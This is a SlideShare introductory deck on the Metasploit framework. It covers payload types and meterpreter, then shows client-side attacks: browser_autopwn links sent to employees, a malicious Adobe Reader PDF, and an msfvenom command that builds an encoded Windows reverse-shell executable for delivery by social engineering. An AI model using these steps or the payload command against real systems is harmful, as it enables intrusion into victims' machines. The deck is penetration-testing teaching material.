SlideShare a Scribd company logo
Metasploit
Module 1
By- Anurag Srivastava
AGENDA
• Introduction to Metasploit
• History of Metasploit
• Exploit
• Payloads
• Auxiliary
• Network Reconnaissance with Metasploit
• Metasploit Payload
• Meterpreter and Post Exploitation
• Client-side Exploitation – Browser , pdf and exe
• References
Introduction to
Metasploit
• Vulnerability and exploitation framework designed to ease the burden on
security professionals when it comes to performing security assessments.
• One of the single most useful auditing tools freely available to security
professionals today
• Contains an extensive library of "modules.“
• Each module has a function, and they are divided up into "exploits",
"auxiliary", "post" (post exploitation), "payloads", "encoders", and "nops.
History
• Created by H. D. Moore in 2003 as a portable network tool using Perl
• In April, 2004 - With the help of Spoonm, HD released a total rewrite of the
project, Metasploit 2.0 (19 exploits and 27 payloads).
• By 2007, the Metasploit Framework had been completely rewritten in Ruby
• On October 21, 2009, it had been acquired by Rapid7
Exploits
• Vectors for Penetrating the systems .
• A software program that has been developed to attack an asset by
taking advantage of a vulnerability.
• Objective of many exploits is to gain control over an asset .
Payloads
• A payload in metasploit refers to an exploit module.
• Each exploit can be attached with various payloads like reverse or bind
shells, the meterpreter shell etc.
• A payload is a piece of code to be executed through said exploit.
Auxiliary
• Metasploit Framework includes hundreds of auxiliary modules that
perform scanning, fuzzing, sniffing, and much more.
• Although these modules will not give you a shell, they are extremely
valuable when conducting a penetration test.
Network Reconnaissance
with Metasploit
• Foundation for any successful penetration test is solid
reconnaissance .
• Gathering enough Information regarding the Target .
• Some examples of Reconnaissance is using nmap tool for port
scanning and identifying services running on the target system .
Metasploit Payloads
• Mainly three different types of payload modules in the Metasploit
Framework: Singles, Stagers, and Stages.
• Singles -Self-Contained and Completely Standalone which can be something
as simple as adding a user to the target system or running calc.exe.
• Stagers -Setup a network connection between the attacker and victim and are
designed to be small and reliable
• Stages -payload components that are downloaded by Stagers modules.
Stages provide advanced features with no size limits such as Meterpreter,
VNC Injection, and the iPhone ‘ipwn’ Shell.
Meterpreter and Post
Exploitation
• Meterpreter is an advanced, dynamically extensible payload that uses in-
memory DLL injection stagers and is extended over the network at runtime.
• Meterpreter communicates over the stager socket and provides a
comprehensive client-side Ruby API.
• Post-Exploitation is done after the exploitation in-order to maintain the
control of the compromised system for future use .
• Post-Exploitation includes setting up a backdoor to maintain more
permanent system access and covering the tracks .
Client-side Exploitation
• Client side attacks require user-interaction such as enticing them to
click a link, open a document, or somehow get to your malicious
website.
• These types of attacks are often delivered by using cleverly worded
emails, sometimes with attachments such as Microsoft Word and PDF
documents.
• Often the attacks is used in conjunction with social engineering
techniques by way of phishing or spear phishing attacks.
Browser Exploitation
• Browser Exploitation involves running a browser exploit inorder to
take advantage of a flaw or vulnerability in an operating system or
piece of software with the intent to breach browser security to alter a
user's browser settings without their knowledge.
• Malicious code may exploit ActiveX, HTML, images, Java, JavaScript,
and other Web technologies and cause the browser to run arbitrary
code.
In order to use this attack we have to open
the metasploit framework and to use
the browser_autopwn module.
Set up the LHOST with your IP
address,the SRVPORT with the port 80
(otherwise the link that we have to send to
the user must me in the format IP:8080)
and the URIPATH with / in order to
prevent metasploit to set up random URL’s.
Now we can share the link through our email to our
client employees.If any user opens the malicious link,the
autopwn module will try all these exploits in order to see if it
can break into the client.If the browser is vulnerable to any of
these exploits meterpreter sessions will open.
Pdf Exploitation
• Exploiting a system using attacker’s crafted pdf file .
• Mainly targets the system whose pdf reader is vulnerable to some sort
of attacks like buffer overflow .
• Pdf is distributed to the victims by social engineering techniques .
• Sometimes the pdf application fails to perform adequate boundary
checks on user-supplied data then thus system can be attacked by
using pdf exploitation technique .
We are going to be using the Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer
Overflow Vulnerability.
Once we have all the options set the way we want, we run “exploit” to create our malicious file.
We will use msfconsole to set up our multi handler listener
Clicking the file opens
Adobe but shows a
greyed out window that
never reveals a PDF.
Instead, on the attackers
machine a meterpreter
session is opened and
thus we have the shell on
the victim system .
Exe Exploitation
• Generate an executable from a Metasploit payload inorder to target a
victim through malicious executable file .
• If you can get a user to run your payload for you, there is no reason to
go through the trouble of exploiting any software.
• Generate a reverse shell payload, execute it on a remote system, and
get our shell.
• Best way to do this is to backdoor an executable by embedding it with
malicious payloads .
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.101 LPORT=3333 -b
"x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe
use ‘multi/handler’ which is a stub that handles exploits launched outside of the framework.
run ‘exploit’ for the multi/handler and execute our generated executable on the victim.
The generated executable
can be distributed using
some sort of social
engineering attacks thus as
soon as the executable is
executed on the victim
system it presents the
attacker with the shell of the
victim system .
References
• https://www.offensive-security.com/metasploit-unleashed/
• Mastering Metasploit by Nipun Jaswal .
• http://hackeracademy.com/module/introduction-to-pdf-attacks
• https://pentestlab.wordpress.com
• https://community.rapid7.com/community/metasploit

More Related Content

What's hot

Metasploit
MetasploitMetasploit
Metasploit
Parth Sahu
 
Penetration testing using metasploit
Penetration testing using metasploitPenetration testing using metasploit
Penetration testing using metasploit
Aashish R
 
Introduction to Metasploit
Introduction to MetasploitIntroduction to Metasploit
Introduction to Metasploit
GTU
 
Pentest with Metasploit
Pentest with MetasploitPentest with Metasploit
Pentest with Metasploit
M.Syarifudin, ST, OSCP, OSWP
 
Metasploit - Basic and Android Demo
Metasploit  - Basic and Android DemoMetasploit  - Basic and Android Demo
Metasploit - Basic and Android Demo
Arpit Agarwal
 
Metaploit
MetaploitMetaploit
Metaploit
Ajinkya Pathak
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testing
Amine SAIGHI
 
Introduction to Snort
Introduction to SnortIntroduction to Snort
Introduction to Snort
Hossein Yavari
 
Metasploit Humla for Beginner
Metasploit Humla for BeginnerMetasploit Humla for Beginner
Metasploit Humla for Beginner
n|u - The Open Security Community
 
Pen-Testing with Metasploit
Pen-Testing with MetasploitPen-Testing with Metasploit
Pen-Testing with Metasploit
Mohammed Danish Amber
 
NMAP
NMAPNMAP
Port Scanning
Port ScanningPort Scanning
Port Scanning
amiable_indian
 
Understanding NMAP
Understanding NMAPUnderstanding NMAP
Understanding NMAP
Phannarith Ou, G-CISO
 
Netcat
NetcatNetcat
penetration test using Kali linux ppt
penetration test using Kali linux pptpenetration test using Kali linux ppt
penetration test using Kali linux ppt
AbhayNaik8
 
Recon with Nmap
Recon with Nmap Recon with Nmap
Recon with Nmap
OWASP Delhi
 
Ch 5: Port Scanning
Ch 5: Port ScanningCh 5: Port Scanning
Ch 5: Port Scanning
Sam Bowne
 
Port scanning
Port scanningPort scanning
Port scanning
Hemanth Pasumarthi
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
itmind4u
 

What's hot (20)

Metasploit
MetasploitMetasploit
Metasploit
 
Penetration testing using metasploit
Penetration testing using metasploitPenetration testing using metasploit
Penetration testing using metasploit
 
Introduction to Metasploit
Introduction to MetasploitIntroduction to Metasploit
Introduction to Metasploit
 
Pentest with Metasploit
Pentest with MetasploitPentest with Metasploit
Pentest with Metasploit
 
Metasploit - Basic and Android Demo
Metasploit  - Basic and Android DemoMetasploit  - Basic and Android Demo
Metasploit - Basic and Android Demo
 
Metaploit
MetaploitMetaploit
Metaploit
 
Introduction to penetration testing
Introduction to penetration testingIntroduction to penetration testing
Introduction to penetration testing
 
Introduction to Snort
Introduction to SnortIntroduction to Snort
Introduction to Snort
 
Metasploit Humla for Beginner
Metasploit Humla for BeginnerMetasploit Humla for Beginner
Metasploit Humla for Beginner
 
Pen-Testing with Metasploit
Pen-Testing with MetasploitPen-Testing with Metasploit
Pen-Testing with Metasploit
 
NMAP
NMAPNMAP
NMAP
 
Port Scanning
Port ScanningPort Scanning
Port Scanning
 
Understanding NMAP
Understanding NMAPUnderstanding NMAP
Understanding NMAP
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Netcat
NetcatNetcat
Netcat
 
penetration test using Kali linux ppt
penetration test using Kali linux pptpenetration test using Kali linux ppt
penetration test using Kali linux ppt
 
Recon with Nmap
Recon with Nmap Recon with Nmap
Recon with Nmap
 
Ch 5: Port Scanning
Ch 5: Port ScanningCh 5: Port Scanning
Ch 5: Port Scanning
 
Port scanning
Port scanningPort scanning
Port scanning
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 

Similar to Metasploit (Module-1) - Getting Started With Metasploit

Metasploit Computer security testing tool
Metasploit  Computer security testing toolMetasploit  Computer security testing tool
Metasploit Computer security testing tool
medoelkang600
 
Exploits Attack on Windows Vulnerabilities
Exploits Attack on Windows VulnerabilitiesExploits Attack on Windows Vulnerabilities
Exploits Attack on Windows VulnerabilitiesAmit Kumbhar
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit Demo
Metasploit DemoMetasploit Demo
DefCamp 2013 - MSF Into The Worm Hole
DefCamp 2013 - MSF Into The Worm HoleDefCamp 2013 - MSF Into The Worm Hole
DefCamp 2013 - MSF Into The Worm HoleDefCamp
 
01 Metasploit kung fu introduction
01 Metasploit kung fu introduction01 Metasploit kung fu introduction
01 Metasploit kung fu introduction
Mostafa Abdel-sallam
 
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
Prajwal Panchmahalkar
 
Metapwn
MetapwnMetapwn
BSides Algiers - Metasploit framework - Oussama Elhamer
BSides Algiers - Metasploit framework - Oussama ElhamerBSides Algiers - Metasploit framework - Oussama Elhamer
BSides Algiers - Metasploit framework - Oussama ElhamerShellmates
 
Introduction to metasploit
Introduction to metasploitIntroduction to metasploit
Introduction to metasploit
GTU
 
Creating Havoc using Human Interface Device
Creating Havoc using Human Interface DeviceCreating Havoc using Human Interface Device
Creating Havoc using Human Interface DevicePositive Hack Days
 
Meta sploit (cyber security)
Meta sploit (cyber security)  Meta sploit (cyber security)
Meta sploit (cyber security)
Rajal Patel
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)
ClubHack
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit frameworkLe Quyen
 
24 33 -_metasploit
24 33 -_metasploit24 33 -_metasploit
24 33 -_metasploitwozgeass
 
Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]
Setia Juli Irzal Ismail
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber Weaponry
Joshua L. Davis
 
Intro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenomIntro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenom
Siddharth Krishna Kumar
 
Metasploit
MetasploitMetasploit
Metasploit
penetration Tester
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptx
DARSHANBHAVSAR14
 

Similar to Metasploit (Module-1) - Getting Started With Metasploit (20)

Metasploit Computer security testing tool
Metasploit  Computer security testing toolMetasploit  Computer security testing tool
Metasploit Computer security testing tool
 
Exploits Attack on Windows Vulnerabilities
Exploits Attack on Windows VulnerabilitiesExploits Attack on Windows Vulnerabilities
Exploits Attack on Windows Vulnerabilities
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Metasploit Demo
Metasploit DemoMetasploit Demo
Metasploit Demo
 
DefCamp 2013 - MSF Into The Worm Hole
DefCamp 2013 - MSF Into The Worm HoleDefCamp 2013 - MSF Into The Worm Hole
DefCamp 2013 - MSF Into The Worm Hole
 
01 Metasploit kung fu introduction
01 Metasploit kung fu introduction01 Metasploit kung fu introduction
01 Metasploit kung fu introduction
 
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
[null]Metapwn - Pwn at a puff by Prajwal Panchmahalkar
 
Metapwn
MetapwnMetapwn
Metapwn
 
BSides Algiers - Metasploit framework - Oussama Elhamer
BSides Algiers - Metasploit framework - Oussama ElhamerBSides Algiers - Metasploit framework - Oussama Elhamer
BSides Algiers - Metasploit framework - Oussama Elhamer
 
Introduction to metasploit
Introduction to metasploitIntroduction to metasploit
Introduction to metasploit
 
Creating Havoc using Human Interface Device
Creating Havoc using Human Interface DeviceCreating Havoc using Human Interface Device
Creating Havoc using Human Interface Device
 
Meta sploit (cyber security)
Meta sploit (cyber security)  Meta sploit (cyber security)
Meta sploit (cyber security)
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit framework
 
24 33 -_metasploit
24 33 -_metasploit24 33 -_metasploit
24 33 -_metasploit
 
Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]Chapter 9 system penetration [compatibility mode]
Chapter 9 system penetration [compatibility mode]
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber Weaponry
 
Intro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenomIntro to exploits in metasploitand payloads in msfvenom
Intro to exploits in metasploitand payloads in msfvenom
 
Metasploit
MetasploitMetasploit
Metasploit
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptx
 

Recently uploaded

Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdfBonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
khadija278284
 
Announcement of 18th IEEE International Conference on Software Testing, Verif...
Announcement of 18th IEEE International Conference on Software Testing, Verif...Announcement of 18th IEEE International Conference on Software Testing, Verif...
Announcement of 18th IEEE International Conference on Software Testing, Verif...
Sebastiano Panichella
 
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
Orkestra
 
Doctoral Symposium at the 17th IEEE International Conference on Software Test...
Doctoral Symposium at the 17th IEEE International Conference on Software Test...Doctoral Symposium at the 17th IEEE International Conference on Software Test...
Doctoral Symposium at the 17th IEEE International Conference on Software Test...
Sebastiano Panichella
 
Acorn Recovery: Restore IT infra within minutes
Acorn Recovery: Restore IT infra within minutesAcorn Recovery: Restore IT infra within minutes
Acorn Recovery: Restore IT infra within minutes
IP ServerOne
 
Obesity causes and management and associated medical conditions
Obesity causes and management and associated medical conditionsObesity causes and management and associated medical conditions
Obesity causes and management and associated medical conditions
Faculty of Medicine And Health Sciences
 
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
OECD Directorate for Financial and Enterprise Affairs
 
International Workshop on Artificial Intelligence in Software Testing
International Workshop on Artificial Intelligence in Software TestingInternational Workshop on Artificial Intelligence in Software Testing
International Workshop on Artificial Intelligence in Software Testing
Sebastiano Panichella
 
Bitcoin Lightning wallet and tic-tac-toe game XOXO
Bitcoin Lightning wallet and tic-tac-toe game XOXOBitcoin Lightning wallet and tic-tac-toe game XOXO
Bitcoin Lightning wallet and tic-tac-toe game XOXO
Matjaž Lipuš
 
somanykidsbutsofewfathers-140705000023-phpapp02.pptx
somanykidsbutsofewfathers-140705000023-phpapp02.pptxsomanykidsbutsofewfathers-140705000023-phpapp02.pptx
somanykidsbutsofewfathers-140705000023-phpapp02.pptx
Howard Spence
 
Eureka, I found it! - Special Libraries Association 2021 Presentation
Eureka, I found it! - Special Libraries Association 2021 PresentationEureka, I found it! - Special Libraries Association 2021 Presentation
Eureka, I found it! - Special Libraries Association 2021 Presentation
Access Innovations, Inc.
 
Getting started with Amazon Bedrock Studio and Control Tower
Getting started with Amazon Bedrock Studio and Control TowerGetting started with Amazon Bedrock Studio and Control Tower
Getting started with Amazon Bedrock Studio and Control Tower
Vladimir Samoylov
 
0x01 - Newton's Third Law: Static vs. Dynamic Abusers
0x01 - Newton's Third Law:  Static vs. Dynamic Abusers0x01 - Newton's Third Law:  Static vs. Dynamic Abusers
0x01 - Newton's Third Law: Static vs. Dynamic Abusers
OWASP Beja
 

Recently uploaded (13)

Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdfBonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
Bonzo subscription_hjjjjjjjj5hhhhhhh_2024.pdf
 
Announcement of 18th IEEE International Conference on Software Testing, Verif...
Announcement of 18th IEEE International Conference on Software Testing, Verif...Announcement of 18th IEEE International Conference on Software Testing, Verif...
Announcement of 18th IEEE International Conference on Software Testing, Verif...
 
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
Sharpen existing tools or get a new toolbox? Contemporary cluster initiatives...
 
Doctoral Symposium at the 17th IEEE International Conference on Software Test...
Doctoral Symposium at the 17th IEEE International Conference on Software Test...Doctoral Symposium at the 17th IEEE International Conference on Software Test...
Doctoral Symposium at the 17th IEEE International Conference on Software Test...
 
Acorn Recovery: Restore IT infra within minutes
Acorn Recovery: Restore IT infra within minutesAcorn Recovery: Restore IT infra within minutes
Acorn Recovery: Restore IT infra within minutes
 
Obesity causes and management and associated medical conditions
Obesity causes and management and associated medical conditionsObesity causes and management and associated medical conditions
Obesity causes and management and associated medical conditions
 
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
Competition and Regulation in Professional Services – KLEINER – June 2024 OEC...
 
International Workshop on Artificial Intelligence in Software Testing
International Workshop on Artificial Intelligence in Software TestingInternational Workshop on Artificial Intelligence in Software Testing
International Workshop on Artificial Intelligence in Software Testing
 
Bitcoin Lightning wallet and tic-tac-toe game XOXO
Bitcoin Lightning wallet and tic-tac-toe game XOXOBitcoin Lightning wallet and tic-tac-toe game XOXO
Bitcoin Lightning wallet and tic-tac-toe game XOXO
 
somanykidsbutsofewfathers-140705000023-phpapp02.pptx
somanykidsbutsofewfathers-140705000023-phpapp02.pptxsomanykidsbutsofewfathers-140705000023-phpapp02.pptx
somanykidsbutsofewfathers-140705000023-phpapp02.pptx
 
Eureka, I found it! - Special Libraries Association 2021 Presentation
Eureka, I found it! - Special Libraries Association 2021 PresentationEureka, I found it! - Special Libraries Association 2021 Presentation
Eureka, I found it! - Special Libraries Association 2021 Presentation
 
Getting started with Amazon Bedrock Studio and Control Tower
Getting started with Amazon Bedrock Studio and Control TowerGetting started with Amazon Bedrock Studio and Control Tower
Getting started with Amazon Bedrock Studio and Control Tower
 
0x01 - Newton's Third Law: Static vs. Dynamic Abusers
0x01 - Newton's Third Law:  Static vs. Dynamic Abusers0x01 - Newton's Third Law:  Static vs. Dynamic Abusers
0x01 - Newton's Third Law: Static vs. Dynamic Abusers
 

Metasploit (Module-1) - Getting Started With Metasploit

  • 2. AGENDA • Introduction to Metasploit • History of Metasploit • Exploit • Payloads • Auxiliary • Network Reconnaissance with Metasploit • Metasploit Payload • Meterpreter and Post Exploitation • Client-side Exploitation – Browser , pdf and exe • References
  • 3.
  • 4. Introduction to Metasploit • Vulnerability and exploitation framework designed to ease the burden on security professionals when it comes to performing security assessments. • One of the single most useful auditing tools freely available to security professionals today • Contains an extensive library of "modules.“ • Each module has a function, and they are divided up into "exploits", "auxiliary", "post" (post exploitation), "payloads", "encoders", and "nops.
  • 5.
  • 6. History • Created by H. D. Moore in 2003 as a portable network tool using Perl • In April, 2004 - With the help of Spoonm, HD released a total rewrite of the project, Metasploit 2.0 (19 exploits and 27 payloads). • By 2007, the Metasploit Framework had been completely rewritten in Ruby • On October 21, 2009, it had been acquired by Rapid7
  • 7. Exploits • Vectors for Penetrating the systems . • A software program that has been developed to attack an asset by taking advantage of a vulnerability. • Objective of many exploits is to gain control over an asset .
  • 8. Payloads • A payload in metasploit refers to an exploit module. • Each exploit can be attached with various payloads like reverse or bind shells, the meterpreter shell etc. • A payload is a piece of code to be executed through said exploit.
  • 9. Auxiliary • Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more. • Although these modules will not give you a shell, they are extremely valuable when conducting a penetration test.
  • 10. Network Reconnaissance with Metasploit • Foundation for any successful penetration test is solid reconnaissance . • Gathering enough Information regarding the Target . • Some examples of Reconnaissance is using nmap tool for port scanning and identifying services running on the target system .
  • 11. Metasploit Payloads • Mainly three different types of payload modules in the Metasploit Framework: Singles, Stagers, and Stages. • Singles -Self-Contained and Completely Standalone which can be something as simple as adding a user to the target system or running calc.exe. • Stagers -Setup a network connection between the attacker and victim and are designed to be small and reliable • Stages -payload components that are downloaded by Stagers modules. Stages provide advanced features with no size limits such as Meterpreter, VNC Injection, and the iPhone ‘ipwn’ Shell.
  • 12. Meterpreter and Post Exploitation • Meterpreter is an advanced, dynamically extensible payload that uses in- memory DLL injection stagers and is extended over the network at runtime. • Meterpreter communicates over the stager socket and provides a comprehensive client-side Ruby API. • Post-Exploitation is done after the exploitation in-order to maintain the control of the compromised system for future use . • Post-Exploitation includes setting up a backdoor to maintain more permanent system access and covering the tracks .
  • 13. Client-side Exploitation • Client side attacks require user-interaction such as enticing them to click a link, open a document, or somehow get to your malicious website. • These types of attacks are often delivered by using cleverly worded emails, sometimes with attachments such as Microsoft Word and PDF documents. • Often the attacks is used in conjunction with social engineering techniques by way of phishing or spear phishing attacks.
  • 14. Browser Exploitation • Browser Exploitation involves running a browser exploit inorder to take advantage of a flaw or vulnerability in an operating system or piece of software with the intent to breach browser security to alter a user's browser settings without their knowledge. • Malicious code may exploit ActiveX, HTML, images, Java, JavaScript, and other Web technologies and cause the browser to run arbitrary code.
  • 15. In order to use this attack we have to open the metasploit framework and to use the browser_autopwn module.
  • 16. Set up the LHOST with your IP address,the SRVPORT with the port 80 (otherwise the link that we have to send to the user must me in the format IP:8080) and the URIPATH with / in order to prevent metasploit to set up random URL’s.
  • 17. Now we can share the link through our email to our client employees.If any user opens the malicious link,the autopwn module will try all these exploits in order to see if it can break into the client.If the browser is vulnerable to any of these exploits meterpreter sessions will open.
  • 18. Pdf Exploitation • Exploiting a system using attacker’s crafted pdf file . • Mainly targets the system whose pdf reader is vulnerable to some sort of attacks like buffer overflow . • Pdf is distributed to the victims by social engineering techniques . • Sometimes the pdf application fails to perform adequate boundary checks on user-supplied data then thus system can be attacked by using pdf exploitation technique .
  • 19. We are going to be using the Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Vulnerability.
  • 20. Once we have all the options set the way we want, we run “exploit” to create our malicious file. We will use msfconsole to set up our multi handler listener
  • 21. Clicking the file opens Adobe but shows a greyed out window that never reveals a PDF. Instead, on the attackers machine a meterpreter session is opened and thus we have the shell on the victim system .
  • 22. Exe Exploitation • Generate an executable from a Metasploit payload inorder to target a victim through malicious executable file . • If you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software. • Generate a reverse shell payload, execute it on a remote system, and get our shell. • Best way to do this is to backdoor an executable by embedding it with malicious payloads .
  • 23. msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.101 LPORT=3333 -b "x00" -e x86/shikata_ga_nai -f exe -o /tmp/1.exe use ‘multi/handler’ which is a stub that handles exploits launched outside of the framework. run ‘exploit’ for the multi/handler and execute our generated executable on the victim.
  • 24. The generated executable can be distributed using some sort of social engineering attacks thus as soon as the executable is executed on the victim system it presents the attacker with the shell of the victim system .
  • 25. References • https://www.offensive-security.com/metasploit-unleashed/ • Mastering Metasploit by Nipun Jaswal . • http://hackeracademy.com/module/introduction-to-pdf-attacks • https://pentestlab.wordpress.com • https://community.rapid7.com/community/metasploit